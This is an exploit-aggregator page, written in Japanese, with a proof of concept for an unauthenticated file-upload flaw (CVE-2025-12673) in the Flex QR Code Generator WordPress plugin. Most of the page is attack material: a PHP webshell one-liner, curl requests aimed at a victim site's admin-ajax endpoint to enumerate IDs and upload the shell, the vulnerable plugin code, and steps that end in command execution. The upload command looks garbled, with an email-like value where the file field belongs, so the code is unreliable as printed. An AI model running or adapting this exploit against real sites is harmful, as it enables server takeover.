Sploitus

Exploit for CVE-2025-12673

kitploit · 2026-09-01

Exploit Code

MARKDOWN105 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D0N601-CVE-2025-12673
# Flex QR Code Generator <= 1.2.6 - 認証なし任意ファイルアップロード

Flex QR Code Generator プラグインは、`update_qr_code` AJAX エンドポイントにおいてユーザー権限の検証やファイルアップロードのサニタイズを行わないため、認証されていない攻撃者が PHP スクリプトを含む任意のファイルをアップロードでき、リモートコード実行につながります。

## 要約 PoC

root@kitploit:~
    
    
    # PHP webshell のアップロード
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
      -F "action=flexqr_update_qr" \
      -F "qrId=1" \
      -F "qrData={\"data\":\"https://example.com\"}" \
      -F "some-email@example.com"
    

## 詳細

脆弱性は `FlexQrCodeGenerator` クラスの `update_qr_code` メソッドに存在します。このプラグインは認証されていないユーザー向けに AJAX エンドポイントを登録しているため、任意の訪問者が任意のファイルをアップロードでき、WordPress のアップロードディレクトリに保存されます。

**脆弱なコード** `/qr-code-generator.php:457-589`:

root@kitploit:~
    
    
    public function update_qr_code()
    {
      if (isset($_POST['qrData']) && isset($_POST['qrId'])) {
        // ... バリデーションコード ...
        
        // ロゴ(ファイルアップロード)の処理
        if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
          $logo = $_FILES['logo'];
          $upload_dir = wp_upload_dir();
          
          $file_ext = pathinfo($logo['name'], PATHINFO_EXTENSION);
          $file_name = pathinfo($logo['name'], PATHINFO_FILENAME);
          $new_file_name = $file_name . '_' . $qrId . '.' . $file_ext;
          $file_path = $upload_dir['path'] . '/' . $new_file_name;
          
          if (move_uploaded_file($logo['tmp_name'], $file_path)) {
            // ファイルが正常にアップロードされました
          }
        }
      }
    }
    

**ファイル実行** `/qr-code-generator.php:504`:

root@kitploit:~
    
    
    if (move_uploaded_file($logo['tmp_name'], $file_path)) {
      $logo_url = $upload_dir['url'] . '/' . $new_file_name;
      $logo_url = str_replace(home_url(), '', $logo_url);
      $update_data['logo_url'] = $logo_url;
    }
    

**認証なしアクセス** `/qr-code-generator.php:41-42`:

root@kitploit:~
    
    
    add_action('wp_ajax_flexqr_update_qr', [$this, 'update_qr_code']);
    add_action('wp_ajax_nopriv_flexqr_update_qr', [$this, 'update_qr_code']);
    

## 手動再現手順

  1. **ターゲットを特定** :Flex QR Code Generator プラグインがインストールされているサイト
  2. **既存のQRコードIDを取得** :



root@kitploit:~
    
    
    curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
      -d "action=flexqr_fetch_qr_code" \
      -d "per_page=10" \
      -d "page=1"
    

  3. **悪意のあるPHPファイルをアップロード** :



root@kitploit:~
    
    
    echo '<?php system($_GET["cmd"]); ?>' > shell.php
    curl -X POST "https://victimsite.com/wp-admin/admin-ajax.php" \
      -F "action=flexqr_update_qr" \
      -F "qrId=1" \
      -F "qrData={\"data\":\"https://example.com\"}" \
      -F "some-email@example.com"
    

  4. **アップロードを確認** :アップロードディレクトリ内の `shell_1.php` を確認
  5. **コマンド実行** :アップロードしたファイルに `?cmd=whoami` を付けてアクセス